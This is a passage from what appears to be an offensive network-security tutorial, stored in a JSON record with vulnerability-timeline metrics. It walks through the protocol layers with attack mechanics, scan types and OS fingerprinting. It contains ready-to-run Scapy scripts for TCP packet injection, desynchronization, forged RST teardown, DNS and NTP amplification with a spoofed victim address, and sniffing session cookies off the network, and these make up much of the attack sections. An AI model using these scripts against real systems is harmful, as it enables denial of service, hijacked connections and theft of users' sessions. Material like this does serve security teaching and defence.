   # Sniff to get current sequence numbers\n    def inject_command(pkt):\n        if pkt.haslayer(TCP) and pkt[IP].src == victim_ip and pkt[TCP].sport == victim_port:\n            # Got packet from victim to server\n            seq = pkt[TCP].seq\n            ack = pkt[TCP].ack\n            \n            # Forge packet from victim to server\n            inject = IP(src=victim_ip, dst=target_ip)/ \\\n                     TCP(sport=victim_port, dport=target_port, \n                         seq=seq, ack=ack, flags=\"A\")/ \\\n                     Raw(load=command)\n            \n            send(inject, iface=interface, verbose=False)\n            print(f\"[+] Injected command with seq={seq}\")\n            \n            # Stop sniffing\n            return True\n    \n    print(f\"[*] Sniffing for TCP session {victim_ip}:{victim_port} -&gt; {target_ip}:{target_port}\")\n    sniff(iface=interface, filter=f\"tcp and host {victim_ip}\", prn=inject_command, count=10)\n```\n\n**TCP Desynchronization**\n\n**Attack Mechanics:**\n1. Attacker sends packet with large sequence number\n2. Desynchronizes client and server expectations\n3. Server ignores legitimate client packets\n4. Attacker can inject packets that server accepts\n\n**TCP Desynchronization:**\n```python\n# Send packet with large seq to desync\ndesync = IP(src=victim_ip, dst=server_ip)/ \\\n         TCP(sport=victim_port, dport=server_port, seq=999999999, flags=\"A\")/ \\\n         Raw(load=\"x\")\n\nsend(desync, verbose=False)\n```\n\n**TCP RST Attacks**\n\n**Attack Mechanics:**\n1. Attacker sends forged RST packet to terminate connection\n2. Must have correct sequence number\n3. Can disrupt critical connections\n\n**TCP RST Attack:**\n```python\ndef tcp_rst(victim_ip, victim_port, server_ip, server_port, seq_num):\n    \"\"\"Send forged RST to terminate connection\"\"\"\n    rst = IP(src=server_ip, dst=victim_ip)/ \\\n          TCP(sport=server_port, dport=victim_port, seq=seq_num, flags=\"R\")\n    \n    send(rst, verbose=False)\n    print(f\"[+] Sent RST to terminate connection\")\n```\n\n#### UDP (User Datagram Protocol) Vulnerabilities\n\nUDP's connectionless nature makes it ideal for amplification attacks:\n\n**UDP Header:**\n- **Source Port (16 bits):** Optional (0 if not used)\n- **Destination Port (16 bits):** Target application\n- **Length (16 bits):** UDP header + data length\n- **Checksum (16 bits):** Error detection (optional in IPv4)\n\n**DNS Amplification Attack**\n\n**Attack Mechanics:**\n1. Attacker sends small DNS queries (60 bytes) with spoofed source IP\n2. Queries request \"ANY\" record for large domain (e.g., isc.org)\n3. Open resolvers send large responses (3000+ bytes) to victim\n4. Amplification factor: 50-100x\n\n**DNS Ampl Vectors:**\n- **ANY query:** Returns all record types (largest)\n- **DNSSEC:** Large key records\n- **EDNS0:** Allow large responses\n- **Multiple questions:** More data per query\n\n**DNS Amplification Tool:**\n```python\nfrom scapy.all import *\nimport random\n\ndef dns_amplification(target_ip, dns_servers, domain=\"isc.org\", count=100):\n    \"\"\"DNS amplification attack\"\"\"\n    # Build DNS query for ANY record\n    dns_query = IP(dst=dns_servers)/ \\\n                UDP(sport=random.randint(1024,65535), dport=53)/ \\\n                DNS(rd=1, qd=DNSQR(qname=domain, qtype=\"ANY\"))\n    \n    # Spoof source IP\n    for i in range(count):\n        query = dns_query.copy()\n        query[IP].src = target_ip  # Spoof victim IP\n        \n        send(query, verbose=False)\n        \n        if i % 10 == 0:\n            print(f\"[+] Sent {i} amplification queries\")\n\n# Requires list of open resolvers\n# dns_amplification(\"victim_ip\", [\"8.8.8.8\", \"1.1.1.1\"])\n```\n\n**NTP Monlist Attack**\n\n**Attack Mechanics:**\n1. Send small request to NTP server with \"monlist\" command\n2. Server responds with list of last 600 clients (large response)\n3. Amplification factor up to 500x\n\n**NTP Monlist Attack:**\n```python\n# NTP monlist request\nntp_monlist = IP(dst=\"ntp_server\")/ \\\n              UDP(sport=12345, dport=123)/ \\\n              Raw(load=\"\\x17\\x00\\x03\\x2a\" + \"\\x00\" * 4)\n\n# Spoof source IP to victim\nntp_monlist[IP].src = \"victim_ip\"\n\nsend(ntp_monlist, verbose=False)\n```\n\n**Memcached Amplification**\n\n**Attack Mechanics:**\n1. Send small \"stats\" request to memcached server (15 bytes)\n2. Server responds with statistics (up to 1MB)\n3. Amplification factor up to 50,000x\n4. Used in 1.3 Tbps DDoS attacks\n\n**Other UDP Amplification Vectors:**\n- **SSDP:** Simple Service Discovery Protocol (30x)\n- **SNMP:** Simple Network Management Protocol (50x)\n- **RIPv1:** Routing Information Protocol (30x)\n- **Chargen:** Character Generator Protocol (100x)\n- **QOTD:** Quote of the Day (100x)\n\n**Mitigation:**\n- Disable unnecessary UDP services\n- Rate limit UDP responses\n- Implement response size limiting\n- Source IP validation (BCP 38)\n- Anycast for absorptive capacity\n\n#### Port States and What They Reveal\n\nDuring reconnaissance, understanding port states provides critical intelligence:\n\n**Nmap Port States:**\n\n**Open:**\n- Application actively accepts connections\n- Service is listening on this port\n- Represents attack surface for exploitation\n- Banner grabbing possible\n- **What it reveals:** Service type, version, OS hints\n\n**Closed:**\n- Port accessible but no application listening\n- Host responded with RST (TCP) or ICMP unreachable (UDP)\n- Reveals host is up and firewall allows access\n- Useful for OS fingerprinting (different stacks respond differently)\n\n**Filtered:**\n- Port likely behind firewall that drops packets\n- No response received (or ICMP unreachable)\n- May indicate:\n  - Firewall rule dropping traffic\n  - Intrusion prevention system\n  - Network congestion\n  - Host not responding\n\n**Unfiltered:**\n- Port accessible but state cannot be determined\n- Only occurs in specific scan types (ACK, window)\n- Further probing required\n- May indicate stateful firewall\n\n**Open|filtered:**\n- Cannot distinguish between open and filtered\n- Common with UDP scans\n- Lack of response could mean open (no response) or filtered (dropped)\n\n**Closed|filtered:**\n- Cannot distinguish between closed and filtered\n- Rare, occurs with IP ID idle scans\n\n#### Port Scanning Techniques and Their Significance\n\n**TCP SYN Scan (-sS):**\n- Send SYN, receive SYN-ACK (open) or RST (closed)\n- No response or ICMP unreachable = filtered\n- Stealthier than connect scan (no full handshake)\n- Requires raw socket privileges\n\n**TCP Connect Scan (-sT):**\n- Completes full TCP handshake\n- Easily logged by applications\n- No special privileges needed\n- Slower, more detectable\n\n**TCP FIN Scan (-sF):**\n- Send FIN packet (no SYN)\n- RFC: closed ports should respond with RST\n- Open ports may ignore FIN\n- Bypasses stateless firewalls\n\n**TCP NULL Scan (-sN):**\n- Send packet with no flags set\n- Same behavior as FIN scan\n- Bypasses some filters\n\n**TCP XMAS Scan (-sX):**\n- Send packet with FIN, PSH, URG flags set\n- Same behavior as FIN scan\n- \"Lights up like a Christmas tree\"\n\n**TCP ACK Scan (-sA):**\n- Send ACK packet (part of established connection)\n- No response or RST = unfiltered\n- ICMP unreachable = filtered\n- Maps firewall rules, not open ports\n\n**TCP Window Scan (-sW):**\n- Similar to ACK scan, but examines window field\n- Some systems return non-zero window for open ports\n- Rare, OS-dependent\n\n**TCP Maimon Scan (-sM):**\n- Send FIN/ACK packet\n- Some BSD systems respond with RST for closed ports\n- Obsolete technique\n\n**UDP Scan (-sU):**\n- Send empty UDP header\n- ICMP port unreachable = closed\n- No response = open|filtered\n- Very slow, unreliable\n\n#### TCP/IP Stack Fingerprinting\n\nDifferent operating systems implement TCP/IP stacks differently, allowing OS detection:\n\n**Passive Fingerprinting (p0f):**\nAnalyze captured packets without sending probes:\n- **TTL:** Initial TTL values (Linux=64, Windows=128, Solaris=255)\n- **Window size:** TCP window scaling (varies by OS)\n- **DF flag:** Don't Fragment behavior\n- **TOS:** Type of Service settings\n- **TCP options:** Order and values (MSS, WS, SACK, Timestamp)\n\n**Active Fingerprinting (nmap -O):**\nSend crafted probes and analyze responses:\n- **TCP ISN sampling:** Sequence number generation patterns\n- **TCP options support:** Which options are supported\n- **IP ID generation:** Sequential, random, zero\n- **ICMP response analysis:** How OS responds to ICMP probes\n- **TCP timestamp:** Frequency and increments\n\n### Layers 5-7: Session, Presentation, Application\n\nThe upper layers directly support application functionality and represent the primary focus of web application testing.\n\n#### Session Layer (Layer 5) Attacks\n\nThe session layer manages sessions between applications, handling establishment, maintenance, and termination:\n\n**Session Layer Functions:**\n- Session establishment and termination\n- Session checkpointing and recovery\n- Dialog control (who transmits when)\n- Session synchronization\n\n**Session Layer Protocols:**\n- **NetBIOS:** Network Basic Input/Output System\n- **RPC:** Remote Procedure Call\n- **Sockets:** Berkeley sockets API\n- **SOCKS:** Socket Secure protocol\n- **SSL/TLS session management**\n\n**Session Layer Attack Vectors:**\n\n**Session Fixation:**\n1. Attacker obtains valid session identifier (by visiting application)\n2. Tricks victim into using that session ID (via URL parameter, cookie, hidden form)\n3. Victim authenticates, binding session ID to their account\n4. Attacker uses same session ID to access victim's account\n\n**Session Fixation Prevention:**\n- Regenerate session ID after authentication\n- Bind session to IP address or user agent\n- Short session timeouts\n- Secure cookie flags (HttpOnly, Secure, SameSite)\n\n**Session Hijacking:**\n1. Attacker captures valid session identifier\n2. Methods: network sniffing, XSS, malware, side-channel\n3. Attacker presents captured session ID to application\n4. Application treats attacker as legitimate user\n\n**Session Hijacking via Network Sniffing:**\n```python\nfrom scapy.all import *\n\ndef sniff_sessions(interface):\n    \"\"\"Sniff HTTP sessions from network\"\"\"\n    def extract_session(pkt):\n        if pkt.haslayer(TCP) and pkt.haslayer(Raw):\n            payload = pkt[Raw].load.decode('utf-8', errors='ignore')\n            \n            # Look for session cookies\n            if 'Cookie:' in payload or 'Set-Cookie:' in payload:\n                print(f\"[+] Session from {pkt[IP].src}:{pkt[TCP].sport}\")\n                for line in payload.split('\\n'):\n                    if 'Cookie:' in line or 'Set-Cookie:' in line:\n                        print(f\"    {line.strip()}\")\n    \n    sniff(iface=interface, prn=extra", "url": "https://gist.github.com/bbrk364/b126c399645779d3dd087413971085ab"}], "metrics": {"as_of": "2026-11-30T06:31:02.215Z", "anchors": {"origin": {"timestamp": "1997-01-01T05:00:00Z", "date_only": false, "value": "1997-01-01T05:00:00.000", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-1999-0517", "record": "FKIE_CVE-1999-0517", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "discovery": {"timestamp": "2026-05-04T08:00:00Z", "date_only": false, "value": "2026-05-04T08:00:00Z", "kind": "other", "label": "Discovery date", "source": "csaf_murrelektronikgmbh \u00b7 VDE-2026-062", "record": "VDE-2026-062", "field": "vulnerabilities.0.discovery_date", "metric_role": "discovery", "metric_basis": "recorded_event", "linked_record": true}, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "1997-01-01T05:00:00Z", "date_only": false, "value": "1997-01-01T05:00:00.000", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-1999-0517", "record": "FKIE_CVE-1999-0517", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "exploit_publication": null, "exploitation": null, "patch": null}, "vendor_response_time": {"available": false, "missing": ["start", "end"]}, "time_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit": {"available": false, "missing": ["end"]}, "disclosure_to_exploit_publication": {"available": false, "missing": ["end"]}, "time_to_patch": {"available": false, "missing": ["start", "end"]}, "total_time_to_patch": {"available": false, "missing": ["end"]}, "disclosure_to_patch": {"available": false, "missing": ["end"]}, "time_unpatched": {"available": true, "seconds": 943925462.215373, "hours": 262201.51728204807, "days": 10925.063220085336, "min_seconds": 943925462.215373, "max_seconds": 943925462.215373, "approximate": false, "ongoing": true, "order_known": true, "batch_listing": false, "end_before_start": false, "start": {"timestamp": "1997-01-01T05:00:00Z", "date_only": false, "value": "1997-01-01T05:00:00.000", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-1999-0517", "record": "FKIE_CVE-1999-0517", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, "end": {"timestamp": "2026-11-30T06:31:02.215Z", "date_only": false, "label": "As of", "source": "Calculation clock"}}, "exploitation_to_patch": {"available": false, "missing": ["start"]}, "exploit_publication_to_patch": {"available": false, "missing": ["start"]}}}
